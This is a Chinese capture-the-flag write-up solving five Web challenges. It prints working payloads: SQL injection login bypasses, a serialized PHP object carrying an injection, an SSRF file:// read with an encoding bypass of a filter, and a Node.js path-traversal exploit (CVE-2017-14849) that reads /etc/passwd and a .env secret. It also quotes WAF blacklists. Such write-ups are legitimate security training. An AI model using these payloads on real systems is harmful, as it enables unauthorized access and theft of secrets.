網路安全管理職業技能競賽Web writeup-有解無憂

親愛的,關注我吧

11/13

文章共計2983個詞

預計閱讀10分鐘

來和我一起閱讀吧

本文涉及知識點靶場練習：
CTF實驗室
文末閱讀原文或者復制鏈接即可操作
https://www.hetianlab.com/pages/CTFLaboratory.jsp&pk_campaign=weixin-wemedia

Web

0x01 easy_sql

一開始看到是easysql，那就先上sqlmap跑跑看，跑出了資料庫名security以及若干表名

繼續跑flag，結果沒跑出來，最后還是上手工了，

測驗輸入一個單引號，頁面無反應，但是在原始碼中發現了又報錯資訊

接著用單引號和括號閉合，報錯注入，之后想了一下，為什么頁面沒有回顯呢，原來是因為錯誤資訊居然顯示白色，前期被騙了很久，用滑鼠描一下即可看到，

uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb

uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb

0x02 ezsqli

開局一個輸入框

查看hint得到原始碼

//a "part" of the source code here




function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}




if (isset($_POST['username']) && isset($_POST['password'])) {


    if (!isset($_SESSION['VerifyCode']))
            die("?");




    $username = strval($_POST['username']);
    $password = strval($_POST['password']);




    if ( !sqlWaf($password) )
        alertMes('damn hacker' ,"./index.php");




    $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
//    password format: /[A-Za-z0-9]/
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['password'] )
        {
            if ($row['password'] == $password)
            {
                $message = $FLAG;
            } else {
                $message = "username or password wrong, are you admin?";
            }
        } else {
            $message = "wrong user";
        }
    } else {
        $message = "user not exist or wrong password";
    }
}




?>

password被過濾了，usename沒有過濾，使用聯合查詢，構造username和password回傳admin即可

username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK

0x03 warmup

下載原始碼開始審計，在index.php中發現了unserialize，估計是考察反序列化的利用了

···
if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···

conn.php原始碼

include 'flag.php';




 class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }


    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }




    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }




    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }




    public function waf(){
           $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
           foreach ($blacklist as $value) {
                  if(strripos($this->table, $value)){
                         die('bad hacker,go out!');
                  }
           }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }




    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }




}
?>

可以看到在check_login中，有個flag的輸出點，前提是我們需要偽造成admin用戶

繼續往下看，有個執行SQL陳述句的地方

 public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

下面還有個waf，看了一下，發現我們需要構造的萬能密碼所用到的字符不會被ban

$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
           foreach ($blacklist as $value) {
                  if(strripos($this->table, $value)){
                         die('bad hacker,go out!');
                  }
           }

所以這里我們可以利用SQL注入來變成admin登錄，username改為admin，password為萬能密碼a' or '1'='1，代碼如下：

include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);

得到
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9，
輸入之后獲得flag

0x04 ssrfME

訪問可以看到有兩個輸入點，一個可以輸入url，一個是驗證碼

腳本爆破驗證

<?php
for ($i=0; $i < 1000000000; $i++) { 
       $a = substr(md5($i), -6, 6);       if ($a == "d17b5b") {              echo $i;              break;       }
}
?>

嘗試使用file協議讀取，發現讀取/etc/passwd成功

讀取/flag，沒成功，嘗試讀取/var/www/html/index.php，得到原始碼，原來是有個waf過濾了flag

···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
    $url = $_POST['url'];
    $captcha = $_POST['captcha'];
    $is_post = 1;
    if ( $captcha !== $_SESSION['answer'])
    {
        $die_mess = "wrong captcha";
        $is_die = 1;
    }




    if ( preg_match('/flag|proc|log/i', $url) )
    {
        $die_mess = "hacker";
        $is_die = 1;
    }
}
···

file協議讀flag，利用兩個url編碼flag繞過

url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049

0x05 SecretGuess

題目給了原始碼，但是不全

在index.html中發現了source，點擊可以看到原始碼

const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")


const app = express();


app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')


app.get('/', (req, res) => {    res.render("index")
})


app.post('/', (req, res) => {    if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {        res.render("index", {result: process.execSync("echo $FLAG")})    } else {        res.render("index", {result: "wrong secret"})    }
})


app.get('/source', (req, res) => {    res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})


app.listen(80, "0.0.0.0");

在給出dockerfile中，檔案內容為

FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js

去搜索相關內容，發現了可能會存在CVE-2017-14849漏洞

輸入/static/../../a/../../..//etc/passwd，利用成功

接著去獲取secret，/static/../../a/../../../usr/local/app/.env，得到secret=CVE-2017-14849

根據原始碼中的條件

if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )

我們將CVE-2017-14849進行md5加密之后提交即可獲得flag，auth=10523ece56c1d399dae057b3ac1ad733

11/13

歡迎投稿至郵箱：EDU@antvsion.com

有才能的你快來投稿吧！

戳“閱讀原文”開始get同款ctf體驗

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/218615.html

標籤：其他

上一篇：Conflux 網路通過 PeckShield 派盾安全審計

下一篇：Redis開發與運維_讀書筆記